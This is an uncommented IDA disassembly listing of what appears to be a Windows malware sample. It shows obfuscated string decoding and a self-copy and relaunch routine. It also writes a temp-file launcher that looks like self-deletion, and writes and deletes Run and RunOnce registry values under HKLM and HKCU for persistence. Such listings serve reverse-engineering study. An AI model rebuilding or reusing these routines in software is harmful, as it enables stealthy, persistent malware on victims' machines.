		call	sub_13ABDB5
		add	esp, 2Ch
		mov	ecx, eax
		mov	[esp+1A0h+arg_0], 4
		call	sub_13ABBE4
		push	eax
		call	sub_13AB9FA
		add	esp, 4
		lea	ecx, [esp+1A0h+var_194]
		mov	[esp+1A0h+arg_0], bl
		call	sub_13AB626
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	14h
		push	13h
		push	ebx
		push	0Ch
		push	2
		push	13h
		lea	eax, [esp+1CCh+var_194]
		push	0Dh
		push	eax
		call	sub_13ABDB5
		add	esp, 34h
		mov	ecx, eax
		mov	[esp+1A0h+arg_0], 5
		call	sub_13ABBE4
		push	eax
		call	sub_13AB9FA
		add	esp, 4
		lea	ecx, [esp+1A0h+var_194]
		mov	[esp+1A0h+arg_0], bl
		call	sub_13AB626
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	46h
		push	47h
		push	13h
		push	9
		push	0Eh
		push	5
		lea	ecx, [esp+1CCh+var_194]
		push	10h
		push	ecx
		call	sub_13ABDB5
		add	esp, 34h
		mov	ecx, eax
		mov	[esp+1A0h+arg_0], 6
		call	sub_13ABBE4
		push	eax
		call	sub_13AB9FA
		add	esp, 4
		lea	ecx, [esp+1A0h+var_194]
		mov	[esp+1A0h+arg_0], bl
		call	sub_13AB626
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	8
		push	3
		push	14h
		push	ebx
		push	10h
		push	13h
		lea	edx, [esp+1CCh+var_194]
		push	0Dh
		push	edx
		call	sub_13ABDB5
		add	esp, 34h
		mov	ecx, eax
		mov	[esp+1A0h+arg_0], 7
		call	sub_13ABBE4
		push	eax
		call	sub_13AB9FA
		add	esp, 4
		lea	ecx, [esp+1A0h+var_194]
		mov	[esp+1A0h+arg_0], bl
		call	sub_13AB626
		lea	eax, [esp+1A0h+var_164]
		push	0
		push	eax
		lea	ecx, [esp+1A8h+var_17C]
		call	sub_13ABC07
		test	eax, eax
		jnz	loc_13B7DB0
		push	ebp
		mov	ecx, esi
		call	sub_13ABBE4
		push	eax
		push	5Ch
		lea	ecx, [esp+1B4h+var_16C]
		call	sub_13ABBE4
		push	eax
		lea	ecx, [esp+1B8h+var_110]
		push	offset dword_443B48
		push	ecx
		call	wsprintfA	; wsprintfA
		mov	edi, GetTickCount
		add	esp, 14h
		call	edi ; GetTickCount
		lea	edx, [esp+184h+var_E8]
		push	0
		push	edx
		lea	ecx, [esp+18Ch+var_15C]
		mov	ebp, eax
		call	sub_13ABA81
		mov	esi, CopyFileA
		push	eax
		call	esi ; CopyFileA
		test	eax, eax
		jnz	short loc_13B7D1F


loc_13B7CEF:				; CODE XREF: sub_13B7990+38Dj
		call	edi ; GetTickCount
		sub	eax, ebp
		cmp	eax, 61A8h
		jnb	short loc_13B7D1F
		push	7D0h
		call	Sleep	; Sleep
		lea	eax, [esp+184h+var_E8]
		push	0
		push	eax
		lea	ecx, [esp+18Ch+var_15C]
		call	sub_13ABA81
		push	eax
		call	esi ; CopyFileA
		test	eax, eax
		jz	short loc_13B7CEF


loc_13B7D1F:				; CODE XREF: sub_13B7990+35Dj
					; sub_13B7990+368j
		mov	al, ds:byte_44780B
		pop	ebp
		test	al, al
		jz	short loc_13B7D62
		mov	esi, strncat
		push	104h
		lea	ecx, [esp+184h+var_E8]
		push	offset dword_443B40
		push	ecx
		call	esi ; strncat
		add	esp, 0Ch
		lea	ecx, [esp+180h+var_15C]
		push	104h
		call	sub_13ABBE4
		lea	edx, [esp+184h+var_E8]
		push	eax
		push	edx
		call	esi ; strncat
		add	esp, 0Ch


loc_13B7D62:				; CODE XREF: sub_13B7990+397j
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+180h+var_12C]
		lea	edx, [esp+180h+var_E8]
		rep stosd
		mov	[esp+180h+var_FC], ax
		lea	eax, [esp+180h+var_174]
		lea	ecx, [esp+180h+var_12C]
		push	eax
		push	ecx
		push	0
		push	0
		push	28h
		push	ebx
		push	0
		push	0
		push	edx
		push	0
		mov	[esp+1A8h+var_12C], 44h
		call	CreateProcessA	; CreateProcessA
		test	eax, eax
		jz	short loc_13B7DB0
		push	0
		call	exit	; exit


loc_13B7DB0:				; CODE XREF: sub_13B7990+304j
					; sub_13B7990+416j
		lea	ecx, [esp+1A8h+var_184]
		mov	byte ptr [esp+1A8h+var_4], 0
		call	sub_13AB626
		lea	ecx, [esp+1A8h+var_16C]
		mov	[esp+1A8h+var_4], 0FFFFFFFFh
		call	sub_13AB626
		mov	ecx, [esp+1A8h+var_C]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 19Ch
		retn	4
sub_13B7990	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B7F20	proc near		; CODE XREF: sub_13AB595j
		mov	al, ds:byte_4471B1
		test	al, al
		jz	short loc_13B7F34
		push	offset word_4471B2
		call	DeleteFileA	; DeleteFileA


loc_13B7F34:				; CODE XREF: sub_13B7F20+7j
		mov	al, 1
		retn
sub_13B7F20	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B7F50	proc near		; CODE XREF: sub_13AC25Bj

var_6D0		= dword	ptr -6D0h
var_6CC		= dword	ptr -6CCh
var_6C8		= dword	ptr -6C8h
var_6C4		= dword	ptr -6C4h
var_6C0		= dword	ptr -6C0h
var_6BC		= dword	ptr -6BCh
var_6B8		= dword	ptr -6B8h
var_6B4		= dword	ptr -6B4h
var_6B0		= byte ptr -6B0h
var_6AC		= byte ptr -6ACh
var_694		= byte ptr -694h
var_67C		= byte ptr -67Ch
var_664		= byte ptr -664h
var_64C		= byte ptr -64Ch
var_634		= byte ptr -634h
var_61C		= byte ptr -61Ch
var_604		= byte ptr -604h
var_5EC		= byte ptr -5ECh
var_5D4		= byte ptr -5D4h
var_5BC		= byte ptr -5BCh
var_5A4		= byte ptr -5A4h
var_58C		= byte ptr -58Ch
var_574		= byte ptr -574h
var_564		= dword	ptr -564h
var_534		= word ptr -534h
var_520		= byte ptr -520h
var_41C		= byte ptr -41Ch
var_318		= byte ptr -318h
var_214		= byte ptr -214h
var_110		= byte ptr -110h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	438F0Fh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 6C4h
		push	esi
		lea	eax, [esp+6D4h+var_41C]
		push	104h
		push	eax
		push	0
		call	GetModuleHandleA	; GetModuleHandleA
		push	eax
		call	GetModuleFileNameA	; GetModuleFileNameA
		lea	ecx, [esp+6D4h+var_318]
		push	ecx
		push	104h
		call	GetTempPathA	; GetTempPathA
		push	0
		push	14h
		push	1
		push	2
		push	4Fh
		push	0Fh
		push	12h
		push	6
		lea	edx, [esp+6F4h+var_5EC]
		push	1
		push	edx
		call	sub_13ABDB5
		add	esp, 28h
		mov	ecx, eax
		mov	[esp+6D4h+var_4], 0
		call	sub_13ABBE4
		push	eax
		lea	eax, [esp+6D8h+var_318]
		push	eax
		lea	ecx, [esp+6DCh+var_520]
		push	offset dword_443684
		push	ecx
		call	wsprintfA	; wsprintfA
		add	esp, 10h
		lea	ecx, [esp+6D4h+var_5EC]
		mov	[esp+6D4h+var_4], 0FFFFFFFFh
		call	sub_13AB626
		push	0
		push	0
		push	2
		push	0
		push	0
		lea	edx, [esp+6E8h+var_520]
		push	40000000h
		push	edx
		call	CreateFileA	; CreateFileA
		mov	esi, eax
		test	esi, esi
		jbe	loc_13B84B1
		push	ebx
		push	ebp
		push	edi
		lea	ecx, [esp+6E0h+var_6AC]
		call	sub_13AB824
		push	0
		push	14h
		push	1
		push	2
		lea	eax, [esp+6F0h+var_604]
		push	4Fh
		push	eax
		mov	[esp+6F8h+var_4], 1
		call	sub_13ABDB5
		add	esp, 18h
		mov	edi, eax
		push	0
		push	39h
		push	10h
		push	0Dh
		push	5
		push	14h
		push	39h
		push	4Eh
		push	0Ch
		push	5
		lea	ecx, [esp+708h+var_634]
		push	4
		push	ecx
		mov	byte ptr [esp+710h+var_4], 2
		call	sub_13ABDB5
		add	esp, 30h
		mov	ebp, eax
		push	0
		push	14h
		push	1
		push	2
		lea	edx, [esp+6F0h+var_664]
		push	4Fh
		push	edx
		mov	byte ptr [esp+6F8h+var_4], 3
		call	sub_13ABDB5
		add	esp, 18h
		mov	ebx, eax
		push	0
		push	39h
		push	10h
		push	0Dh
		push	5
		push	14h
		push	39h
		push	4Eh
		push	20h
		push	52h
		push	4Eh
		push	0Ch
		push	5
		lea	eax, [esp+714h+var_67C]
		push	4
		push	eax
		mov	byte ptr [esp+71Ch+var_4], 4
		call	sub_13ABDB5
		add	esp, 3Ch
		mov	[esp+6E0h+var_6B4], eax
		push	0
		push	5
		push	0Eh
		push	0Fh
		push	4
		lea	ecx, [esp+6F4h+var_61C]
		push	53h
		push	ecx
		mov	byte ptr [esp+6FCh+var_4], 5
		call	sub_13ABDB5
		add	esp, 1Ch
		mov	[esp+6E0h+var_6C8], eax
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		push	4Eh
		push	0Fh
		push	14h
		push	0Fh
		lea	edx, [esp+708h+var_5D4]
		push	7
		push	edx
		mov	byte ptr [esp+710h+var_4], 6
		call	sub_13ABDB5
		add	esp, 30h
		mov	[esp+6E0h+var_6B8], eax
		push	0
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	0Ch
		push	5
		lea	eax, [esp+708h+var_5A4]
		push	4
		push	eax
		mov	byte ptr [esp+710h+var_4], 7
		call	sub_13ABDB5
		add	esp, 30h
		mov	[esp+6E0h+var_6C0], eax
		push	0
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	20h
		push	52h
		push	4Eh
		push	0Ch
		push	5
		lea	ecx, [esp+714h+var_58C]
		push	4
		push	ecx
		mov	byte ptr [esp+71Ch+var_4], 8
		call	sub_13ABDB5
		add	esp, 3Ch
		mov	[esp+6E0h+var_6D0], eax
		push	0
		push	5
		push	0Eh
		push	0Fh
		push	4
		push	4Eh
		push	0Fh
		push	14h
		push	0Fh
		push	7
		push	4Eh
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	14h
		push	13h
		push	9
		mov	byte ptr [esp+734h+var_4], 9
		push	18h
		push	5
		push	4Eh
		push	14h
		push	0Fh
		push	0Eh
		push	4Eh
		push	6
		lea	edx, [esp+754h+var_694]
		push	9
		push	edx
		call	sub_13ABDB5
		add	esp, 7Ch
		mov	[esp+6E0h+var_6CC], eax
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		lea	eax, [esp+6F8h+var_5BC]
		push	53h
		push	eax
		mov	byte ptr [esp+700h+var_4], 0Ah
		call	sub_13ABDB5
		add	esp, 20h
		mov	[esp+6E0h+var_6C4], eax
		push	0
		push	6
		push	6
		push	0Fh
		push	4Eh
		push	0Fh
		push	8
		push	3
		push	5
		lea	ecx, [esp+704h+var_64C]
		push	56h
		push	ecx
		mov	byte ptr [esp+70Ch+var_4], 0Bh
		call	sub_13ABDB5
		add	esp, 2Ch
		mov	[esp+6E0h+var_6BC], eax
		mov	ecx, edi
		mov	byte ptr [esp+6E0h+var_4], 0Ch
		call	sub_13ABBE4
		push	eax
		mov	ecx, ebp
		call	sub_13ABBE4
		push	eax
		mov	ecx, ebx
		call	sub_13ABBE4
		mov	ecx, [esp+6E8h+var_6B4]
		push	eax
		call	sub_13ABBE4
		mov	ecx, [esp+6ECh+var_6C8]
		push	eax
		call	sub_13ABBE4
		mov	ecx, [esp+6F0h+var_6B8]
		push	eax
		call	sub_13ABBE4
		mov	ecx, [esp+6F4h+var_6C0]
		push	eax
		call	sub_13ABBE4
		mov	ecx, [esp+6F8h+var_6D0]
		push	eax
		call	sub_13ABBE4
		mov	ecx, [esp+6FCh+var_6CC]
		push	eax
		call	sub_13ABBE4
		mov	ecx, [esp+700h+var_6C4]
		push	eax
		call	sub_13ABBE4
		mov	ecx, [esp+704h+var_6BC]
		push	eax
		call	sub_13ABBE4
		push	eax
		push	offset dword_443BDC
		lea	edx, [esp+710h+var_6AC]
		push	edx
		call	sub_13AB42D
		add	esp, 34h
		lea	ecx, [esp+6E0h+var_64C]
		mov	byte ptr [esp+6E0h+var_4], 0Bh
		call	sub_13AB626
		lea	ecx, [esp+6E0h+var_5BC]
		mov	byte ptr [esp+6E0h+var_4], 0Ah
		call	sub_13AB626
		lea	ecx, [esp+6E0h+var_694]
		mov	byte ptr [esp+6E0h+var_4], 9
		call	sub_13AB626
		lea	ecx, [esp+6E0h+var_58C]
		mov	byte ptr [esp+6E0h+var_4], 8
		call	sub_13AB626
		lea	ecx, [esp+6E0h+var_5A4]
		mov	byte ptr [esp+6E0h+var_4], 7
		call	sub_13AB626
		lea	ecx, [esp+6E0h+var_5D4]
		mov	byte ptr [esp+6E0h+var_4], 6
		call	sub_13AB626
		lea	ecx, [esp+6E0h+var_61C]
		mov	byte ptr [esp+6E0h+var_4], 5
		call	sub_13AB626
		lea	ecx, [esp+6E0h+var_67C]
		mov	byte ptr [esp+6E0h+var_4], 4
		call	sub_13AB626
		lea	ecx, [esp+6E0h+var_664]
		mov	byte ptr [esp+6E0h+var_4], 3
		call	sub_13AB626
		lea	ecx, [esp+6E0h+var_634]
		mov	byte ptr [esp+6E0h+var_4], 2
		call	sub_13AB626
		lea	ecx, [esp+6E0h+var_604]
		mov	byte ptr [esp+6E0h+var_4], 1
		call	sub_13AB626
		lea	eax, [esp+6E0h+var_6B0]
		push	0
		push	eax
		push	69h
		lea	ecx, [esp+6ECh+var_6AC]
		call	sub_13ABBE4
		push	eax
		push	esi
		call	WriteFile	; WriteFile
		push	esi
		call	CloseHandle	; CloseHandle
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+6E0h+var_564]
		push	104h
		rep stosd
		lea	ecx, [esp+6E4h+var_41C]
		mov	[esp+6E4h+var_564], 44h
		push	ecx
		push	eax
		mov	[esp+6ECh+var_534], ax
		call	GetModuleHandleA	; GetModuleHandleA
		push	eax
		call	GetModuleFileNameA	; GetModuleFileNameA
		lea	edx, [esp+6E0h+var_41C]
		lea	eax, [esp+6E0h+var_520]
		push	edx
		push	eax
		lea	ecx, [esp+6E8h+var_214]
		push	offset dword_443BC0
		push	ecx
		call	wsprintfA	; wsprintfA
		add	esp, 10h
		lea	edx, [esp+6E0h+var_110]
		lea	eax, [esp+6E0h+var_214]
		push	104h
		push	edx
		push	eax
		call	ExpandEnvironmentStringsA	; ExpandEnvironmentStringsA
		lea	ecx, [esp+6E0h+var_574]
		lea	edx, [esp+6E0h+var_564]
		push	ecx
		push	edx
		push	0
		push	0
		push	28h
		push	1
		push	0
		lea	eax, [esp+6FCh+var_110]
		push	0
		push	eax
		push	0
		call	CreateProcessA	; CreateProcessA
		lea	ecx, [esp+6E0h+var_6AC]
		mov	[esp+6E0h+var_4], 0FFFFFFFFh
		call	sub_13AB626
		pop	edi
		pop	ebp
		pop	ebx
		mov	al, 1
		pop	esi
		mov	ecx, [esp+6D0h+var_C]
		mov	large fs:0, ecx
		add	esp, 6D0h
		retn
; ---------------------------------------------------------------------------


loc_13B84B1:				; CODE XREF: sub_13B7F50+D6j
		mov	ecx, [esp+6D4h+var_C]
		mov	al, 1
		pop	esi
		mov	large fs:0, ecx
		add	esp, 6D0h
		retn
sub_13B7F50	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B8630	proc near		; CODE XREF: sub_13ABB26j

var_7C		= byte ptr -7Ch
var_70		= dword	ptr -70h
var_6C		= byte ptr -6Ch
var_60		= byte ptr -60h
var_5C		= byte ptr -5Ch
var_54		= byte ptr -54h
var_40		= byte ptr -40h
var_3C		= byte ptr -3Ch
var_30		= byte ptr -30h
var_2C		= byte ptr -2Ch
var_28		= byte ptr -28h
var_24		= byte ptr -24h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	438F70h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 64h
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+80h+var_54]
		call	sub_13AB824
		lea	ecx, [esp+80h+var_6C]
		mov	[esp+80h+var_4], 0
		call	sub_13AB824
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_13AB824
		push	0
		push	5
		push	3
		push	0Eh
		push	29h
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	eax, [esp+144h+var_24]
		mov	bl, 2
		push	2Dh
		push	eax
		mov	byte ptr [esp+14Ch+var_4], bl
		call	sub_13ABDB5
		add	esp, 0CCh
		push	eax
		lea	ecx, [esp+84h+var_6C]
		mov	byte ptr [esp+84h+var_4], 3
		call	sub_13AC40E
		lea	ecx, [esp+84h+var_28]
		mov	[esp+84h+var_8], bl
		call	sub_13AB626
		push	0
		push	13h
		push	5
		push	3
		push	9
		push	16h
		push	12h
		push	5
		push	2Dh
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+158h+var_28]
		push	2Dh
		push	ecx
		call	sub_13ABDB5
		add	esp, 0DCh
		push	eax
		lea	ecx, [esp+88h+var_40]
		mov	[esp+88h+var_8], 4
		call	sub_13AC40E
		lea	ecx, [esp+88h+var_2C]
		mov	byte ptr [esp+88h+var_C], bl
		call	sub_13AB626
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	edx, [esp+13Ch+var_2C]
		push	2Dh
		push	edx
		call	sub_13ABDB5
		add	esp, 0BCh
		push	eax
		lea	ecx, [esp+8Ch+var_5C]
		mov	byte ptr [esp+8Ch+var_C], 5
		call	sub_13AC40E
		lea	ecx, [esp+8Ch+var_30]
		mov	[esp+8Ch+var_10], bl
		call	sub_13AB626
		lea	eax, [esp+8Ch+var_7C]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+0A8h+var_60]
		call	sub_13ABBE4
		mov	ebp, RegCreateKeyExA
		push	eax
		push	80000002h
		call	ebp ; RegCreateKeyExA
		mov	esi, [esp+80h+arg_4]
		mov	ecx, esi
		call	sub_13ABA81
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_13ABA81
		mov	ebx, [esp+84h+arg_0]
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_13ABA81
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		call	RegSetValueExA	; RegSetValueExA
		mov	edx, [esp+80h+var_70]
		push	edx
		call	RegCloseKey	; RegCloseKey
		push	0
		lea	eax, [esp+84h+var_70]
		lea	ecx, [esp+84h+var_6C]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		call	sub_13ABBE4
		push	eax
		push	80000002h
		call	ebp ; RegCreateKeyExA
		mov	ecx, esi
		call	sub_13ABA81
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_13ABA81
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_13ABA81
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		call	RegSetValueExA	; RegSetValueExA
		mov	edx, [esp+80h+var_70]
		push	edx
		call	RegCloseKey	; RegCloseKey
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_13ABBE4
		push	eax
		push	80000001h
		call	ebp ; RegCreateKeyExA
		mov	ecx, esi
		call	sub_13ABA81
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_13ABA81
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_13ABA81
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		call	RegSetValueExA	; RegSetValueExA
		mov	edx, [esp+80h+var_70]
		push	edx
		call	RegCloseKey	; RegCloseKey
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_13ABBE4
		push	eax
		push	80000001h
		call	ebp ; RegCreateKeyExA
		mov	ecx, esi
		call	sub_13ABA81
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_13ABA81
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_13ABA81
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		call	RegSetValueExA	; RegSetValueExA
		mov	edx, [esp+80h+var_70]
		push	edx
		call	RegCloseKey	; RegCloseKey
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_3C]
		call	sub_13ABBE4
		push	eax
		push	80000002h
		call	ebp ; RegCreateKeyExA
		mov	ecx, esi
		call	sub_13ABA81
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_13ABA81
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_13ABA81
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		call	RegSetValueExA	; RegSetValueExA
		mov	edx, [esp+80h+var_70]
		push	edx
		call	RegCloseKey	; RegCloseKey
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_13AB626
		lea	ecx, [esp+80h+var_6C]
		mov	byte ptr [esp+80h+var_4], 0
		call	sub_13AB626
		lea	ecx, [esp+80h+var_54]
		mov	[esp+80h+var_4], 0FFFFFFFFh
		call	sub_13AB626
		mov	ecx, [esp+80h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 70h
		retn	8
sub_13B8630	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B8BB0	proc near		; CODE XREF: sub_13AB847j

var_7C		= byte ptr -7Ch
var_78		= byte ptr -78h
var_74		= byte ptr -74h
var_70		= dword	ptr -70h
var_6C		= byte ptr -6Ch
var_58		= byte ptr -58h
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_30		= byte ptr -30h
var_2C		= byte ptr -2Ch
var_28		= byte ptr -28h
var_24		= byte ptr -24h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	438FC0h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 64h
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+80h+var_6C]
		call	sub_13AB824
		lea	ecx, [esp+80h+var_3C]
		mov	[esp+80h+var_4], 0
		call	sub_13AB824
		lea	ecx, [esp+80h+var_54]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_13AB824
		push	0
		push	5
		push	3
		push	0Eh
		push	29h
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	eax, [esp+144h+var_24]
		mov	bl, 2
		push	2Dh
		push	eax
		mov	byte ptr [esp+14Ch+var_4], bl
		call	sub_13ABDB5
		add	esp, 0CCh
		push	eax
		lea	ecx, [esp+84h+var_3C]
		mov	byte ptr [esp+84h+var_4], 3
		call	sub_13AC40E
		lea	ecx, [esp+84h+var_28]
		mov	[esp+84h+var_8], bl
		call	sub_13AB626
		push	0
		push	13h
		push	5
		push	3
		push	9
		push	16h
		push	12h
		push	5
		push	2Dh
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+158h+var_28]
		push	2Dh
		push	ecx
		call	sub_13ABDB5
		add	esp, 0DCh
		push	eax
		lea	ecx, [esp+88h+var_58]
		mov	[esp+88h+var_8], 4
		call	sub_13AC40E
		lea	ecx, [esp+88h+var_2C]
		mov	byte ptr [esp+88h+var_C], bl
		call	sub_13AB626
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	edx, [esp+13Ch+var_2C]
		push	2Dh
		push	edx
		call	sub_13ABDB5
		add	esp, 0BCh
		push	eax
		lea	ecx, [esp+8Ch+var_74]
		mov	byte ptr [esp+8Ch+var_C], 5
		call	sub_13AC40E
		lea	ecx, [esp+8Ch+var_30]
		mov	[esp+8Ch+var_10], bl
		call	sub_13AB626
		lea	eax, [esp+8Ch+var_7C]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+0A8h+var_78]
		call	sub_13ABBE4
		mov	esi, RegCreateKeyExA
		push	eax
		push	80000002h
		call	esi ; RegCreateKeyExA
		mov	edi, [esp+80h+arg_0]
		mov	ecx, edi
		call	sub_13ABA81
		mov	ecx, [esp+80h+var_70]
		mov	ebp, RegDeleteValueA
		push	eax
		push	ecx
		call	ebp ; RegDeleteValueA
		mov	edx, [esp+80h+var_70]
		mov	ebx, RegCloseKey
		push	edx
		call	ebx ; RegCloseKey
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_13ABBE4
		push	eax
		push	80000002h
		call	esi ; RegCreateKeyExA
		mov	ecx, edi
		call	sub_13ABA81
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp ; RegDeleteValueA
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx ; RegCloseKey
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_13ABBE4
		push	eax
		push	80000002h
		call	esi ; RegCreateKeyExA
		mov	ecx, edi
		call	sub_13ABA81
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp ; RegDeleteValueA
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx ; RegCloseKey
